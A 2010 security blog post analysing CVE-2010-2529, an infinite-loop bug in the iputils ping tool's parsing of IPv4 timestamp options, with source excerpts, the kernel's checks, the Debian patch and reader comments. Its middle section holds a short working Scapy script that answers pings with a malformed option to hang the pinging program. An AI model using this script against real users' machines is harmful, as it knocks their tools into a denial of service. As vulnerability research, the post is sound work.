Sunday, July 25, 2010

CVE-2010-2529 ping infinite loop

On friday, Ovidiu Mara reported a vulnerability in ping utility from iputils package. It was announced as MDVSA-2010:138 by Mandriva Security on Full Disclosure mailing list, and CVE-2010-2529 has been reserved for it. Be assured it is not a critical bug. In fact if you ping a malicious host which replies a malicious packet, ping goes in an infinite loop. Just kill it and you're done.

However, I like networking and found the vulnerability funny (reminds me a bit the ping of death), so I investigated, found the vulnerability and developed an exploit.

Finding the vulnerability was easy thanks to vigilance. They almost give the answer:
The ping tool sends an IPv4+ICMP_Echo_Request to a remote computer, which answers
with an IPv4+ICMP_Echo_Reply packet. If the remote computer sends an answer
containing an IPv4 Timestamp option, the pr_options() function of ping.c
decodes its. However, this function is invalid, and an infinite loop occurs.
A server can therefore send a malicious ICMP reply, in order to generate an
infinite loop in the ping tool.

The vulnerability

Read the source ping.c and go to pr_options() function:
979 void pr_options(unsigned char * cp, int hlen)
then find the case for handling IPv4 Timestamp option:
1062                 case IPOPT_TS:
Then you read:
1064                         int stdtime = 0, nonstdtime = 0;
1065                         __u8 flags;
1066                         j = *++cp;              /* get length */
1067                         i = *++cp;              /* and pointer */
1068                         if (i > j)
1069                                 i = j;
1070                         i -= 5;
1071                         if (i <= 0)
1072                                 continue;
Hmm... continue? We are going into an infinite loop if this condition is true, that is to say when (i <= 5) or (i>j and j<=5).

I think the programmer intended break, or at least it is how I would patch the bug. I did not see any diff confirming this yet. It is true that Mandriva subscribers have updated packages, but you have to pay to have them so...

Understand IPv4 Timestamp option

IPv4 Timestamp is an IPv4 optional option, and as with all IP options, they come in the IP header. I assume you're already familiar with IPv4 and how IP options work (see IP header). But to understand IPv4 Timestamp entirely, let's go back to RFC 781: A specification of the Internet Protocol (IP) timestamp option, written by Zaw-Sing Su in May 1981 (!).

0               7               15              23              31
|     type      |    length     |    offset     |overflw| flags |
|                          internet ID                          |
|                          time stamp                           |

option type = 68 decimal (i.e., option class = 2 and option number = 4);

option length = the number of octets with a maximum of 40 (limited by IHL = 15);

offset =    the number of octets from the beginning of this option to the end
of timestamps (i.e., the beginning of space for next timestamp).  It is set
to one, an odd number, when no more space remains in the header for timestamps;

overflow =  the number of IP modules that cannot register timestamps due to
lack of space;

flag = 0 -- time stamps only, 1 -- each timestamp is preceded with internet ID
of the registering entity, 3 -- the internet ID fields are prespecified. An IP
module only registers its timestamp if it matches its own ID with the next
specified internet ID;
Good, so what they call pointer in the code is the offset field. The condition to trigger the vulnerability can now be understood as (offset <= 5) or (offset>length and length<=5).

But to be sure that our packet will be received, let's look at how the TCP/IP stack of the Linux kernel handles these packets.

Dive in Linux TCP/IP stack

Thanks to Linux Cross-Reference, we quickly get to the file responsible for IPv4 options, and to the function handling IPv4 Timestamp option: net/ipv4/ip_options.c.
342      case IPOPT_TIMESTAMP:
343         if (opt->ts) {
344             pp_ptr = optptr;
345             goto error;
346         }
347         if (optlen < 4) {
348             pp_ptr = optptr + 1;
349             goto error;
350         }
351         if (optptr[2] < 5) {
352             pp_ptr = optptr + 2;
353             goto error;
354         }
355         if (optptr[2] <= optlen) {
356             __be32 *timeptr = NULL;
357             if (optptr[2]+3 > optptr[1]) {
358                 pp_ptr = optptr + 2;
359                 goto error;
360             }
A few checks are made, if they are true the packet is ignored:
  • length < 4
  • offset < 5
  • offset <= length
  • offset+3 > length

Everything is ok with offset=5 and a length of 8: timestamp option header (4 bytes) + value of a timestamp (4 bytes).

Below we have a several cases depending on the flag (4 bits) field. Sadly, all the cases are protected against incorrect values of offset and/or length. However the default case does not check anything in particular, and accepts the packet! We'll then use flag=4, undefined in the RFC.

Exploit with Scapy

Scapy is my favourite packet manipulation tool. To prove once against its awesomeness, let's build the exploit with it.

But first, since we want to build a fake ICMP echo-reply, we have to tell the kernel not to reply to ICMP echo-requests otherwise two replies would be sent. You can do this either via iptables or more conveniently, procfs:
$ echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
(restore by echo'ing 0)

We will use sniff() function to capture ICMP echo-request packets and process them:
sniff(count=0, store=1, offline=None, prn=None, lfilter=None,
  L2socket=None, timeout=None, opened_socket=None, *arg, **karg)
    Sniff packets
    sniff([count=0,] [prn=None,] [store=1,] [offline=None,]
      [lfilter=None,] + L2ListenSocket args) -> list of packets

      count: number of packets to capture. 0 means infinity
        prn: function to apply to each packet. If something is returned,
             it is displayed. Ex:
             ex: prn = lambda x: x.summary()
    lfilter: python function applied to each packet to determine
             if further action may be done
             ex: lfilter = lambda x: x.haslayer(Padding)
A quick look at Scapy Python source scapy/layers/ indicates us how IPv4 options fields work. Assembling all the pieces, it gives the following exploit:

def reply(s):
  p = IP(src=s[IP].dst, dst=s[IP].src)/ICMP(type=0, id=s[ICMP].id, seq=s[ICMP].seq)/(s[Raw] if s.haslayer(Raw) else '')
  p[IP].options = [IPOption(optclass='debug',option='timestamp',value='\x05\x04ABCD')]

sniff(lfilter = lambda p: p.haslayer(ICMP) and p[ICMP].type==8, prn=reply)
Yes, that's all! God I love Scapy..

Upon receiving an ICMP echo-request (type 8), it simply builds a new IP packet with an ICMP echo-reply (type 0), copies required ICMP fields and payload and adds an IPv4 Timestamp option with:
  • 5 as the offset
  • 0 as the overflow, 4 as the flags
  • one TS record for IP address ('ABCD') but timestamp unrecorded

I'll be running this Scapy script for a few days, so if you want to see if you are vulnerable just ping :)

As far as I know, following kernel/distributions are vulnerable:
  • 2.6.26-2-amd64 Debian lenny
  • 2.6.32-5-amd64 Debian sid
  • 2.6.32 Arch Linux
  • 2.6.30-9 Ubuntu 8.10
  • 2.6.28-17 Ubuntu 9.04
  • 2.6.31-14 Ubuntu 9.10
  • 2.6.32-23 Ubuntu 10.04
Also, I have found that when running VMware Virtual Machines with NAT networking, it does not work: IPv4 Timestamp option is removed by the NAT (I don't know why). Switch to bridged networking and it should work.

Update 2010-07-28

Seeing Debian security-tracker, it is currently fixed in sid (unstable) and squeeze (testing) but not in lenny (stable) nor etch (old-stable). Update: fixed in lenny since 2010-09-04! It was long...

Seeing Debian diff for sid iputils we can see they indeed replaced continue with break, and also that it wasn't the only place:
Index: trunk/ping.c
--- trunk.orig/ping.c 2010-07-23 21:26:53.000000000 -0700
+++ trunk/ping.c 2010-07-23 21:28:27.000000000 -0700
@@ -1059,7 +1059,7 @@
     i = j;
    i -= IPOPT_MINOFF;
    if (i <= 0)
-    continue;
+    break;
    if (i == old_rrlen
        && !strncmp((char *)cp, old_rr, i)
        && !(options & F_FLOOD)) {
@@ -1096,7 +1096,7 @@
     i = j;
    i -= 5;
    if (i <= 0)
-    continue;
+    break;
    flags = *++cp;
    printf("\nTS: ");
Indeed there was the same issue with IP option 7 Route Record (RR):
1028                 case IPOPT_RR:
1029                         j = *++cp;              /* get length */
1030                         i = *++cp;              /* and pointer */
1031                         if (i > j)
1032                                 i = j;
1033                         i -= IPOPT_MINOFF;
1034                         if (i <= 0)
1035                                 continue;

Exploiting this similar vulnerability with a crafted IP packet using option RR is left as an exercise to the reader. ;)


  1. Interesting vulnerability :)
    Thank you for sharing.

  2. Thank you for sharing.
    BTW, I want to try to "ping", can you run the Scapy script again? THX.

  3. Hello Shang, I checked the Scapy script is running well. If it doesn't show any ping reply and does not hang with 100% CPU, it means your version of ping is not vulnerable/up-to-date.

  4. Dear StalkR,
    Sorry for disturbing you again.
    I used sniffer tool to sniff packets when I ping I didn't see any response packets from to my host. To my understanding of your article, there should be two reasonable when doing "ping" action.
    case 1(vulnerable case):
    I can sniff the response packets and the packets cause my ping to infinite loop.
    case 2(non-vulnerable case):
    I can sniff the response packets but the packets doesn't cause my ping to infinite loop.

    No meter what cases, I should see the response packets but I didn't. Is there any thing wrong with my concept?

  5. maybe your firewall/gateway/isp is dropping packets with options